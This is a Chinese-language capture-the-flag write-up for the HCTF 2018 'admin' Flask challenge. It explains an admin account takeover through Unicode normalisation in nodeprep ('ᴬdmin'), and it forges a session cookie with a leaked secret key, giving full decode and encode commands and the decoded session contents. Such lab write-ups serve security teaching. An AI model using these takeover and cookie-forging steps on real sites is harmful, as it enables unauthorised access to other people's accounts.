HCTF 2018 admin
0x00
题目类型:unicode欺骗,源码泄露,session伪造,条件竞争(Maybe)。
0x01
题目索引界面有登录与注册两个功能,查看源码注释中有you are not admin字样,可能要求以admin身份登陆。先注册一个账号,看看有没有有用的信息。
在改密码的界面发现源码泄漏,去github看源码。源码较长,截取关键部分。
@app.route('/register', methods = ['GET', 'POST'])
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)
def strlower(username):
username = nodeprep.prepare(username)
return username
在注册与改密码两条路由下,发现都对用户名经过了strlower()函数处理,不过python有内置的lower函数,这里可能有问题。发现使用了nodeprep.prepare这个库,这个库的老版本是有一些问题的,比如unicode编码的“ᴬ”经过strlower后会被转义为标准的“A”,而后改密码时再进行strlower操作时,会被转变为“a”,这样就可以使用“admin”身份登陆了。同时发现session中没有特殊处理,可以伪造,稍后再详细分析。
0x02
Unicode欺骗:
注册一个名为“ᴬdmin”的账号,登陆进去修改密码,然后直接以admin身份登陆拿到flag。
tips:https://unicode-table.com/en/#1D2Cunicode编码在这个网站可查。
session伪造:
首先了解一点flask的知识,flask的session存储在客户端中,用burp抓包的话可以发现session直接出现在了http头中,并且session只做了签名处理但没有加密。这意味着我们可以读取session信息,如果知道密钥的话还可以伪造session。恰巧在github的config.py源码中,可以找到密钥。
在github上下载flask-cookie-session-manager这个脚本,首先解密session。
py .\flask_session_cookie_manager3.py -s "ckj123" -c ".eJw9UMGKg0AM_ZUlZw91rBehBxetbGFGLLaSXIpbrTqjXdCWLlP67xtd6OGRR154L8kTTpexnloIbuO9duDUVRA84eMbAlARGZXED9R7Qwk-SFcdRUetoqqlIfNUcfAxp04J6qTY9pg3Pg5SyDxbSY0iLTKBed9THnvK7nu0oUUR-2mS-VIoTcORNbRov9aoyaBtXGRPdvAokS5a0jLfGdShIL3VpGNXih33wrW0xmM80uJosMANvBw4T-PldPsx9fV9whIffc4xHHH2eZUVR_zyykZZ5rbxuYr5rLRQPBtaGW4Wu24om_rtVNpWHLJ_5VoOLMB9qscZ4Cx0eR24Lrz-ADhrbeA.Xwqjfw.0C9xgDXHd6DtNUBvcBG4JqJsu9Y"
#这是解密语法
{'_fresh': True, '_id': b'46d4a0b4ddf0f7bd5c47afd75e9a6b7fb3aea89bc61442669d6a9ee1774ec03ca98d93ccfeee63c28b6dc85ae93c7dc5c6c12db06f1cf153bc1083973909edaf', 'csrf_token': b'a9ed0ee68b79e14ae17fd714c89716d5c9ced030', 'image': b'k8vQ', 'name': 'useruser', 'user_id': '11'}
#这是解密信息
然后将name改为“admin”,再用脚本生成session,burp重放即可。
py .\flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'46d4a0b4ddf0f7bd5c47afd75e9a6b7fb3aea89bc61442669d6a9ee1774ec03ca98d93ccfeee63c28b6dc85ae93c7dc5c6c12db06f1cf153bc1083973909edaf', 'csrf_token': b'a9ed0ee68b79e14ae17fd714c89716d5c9ced030', 'image': b'k8vQ', 'name': 'admin', 'user_id': '11'}"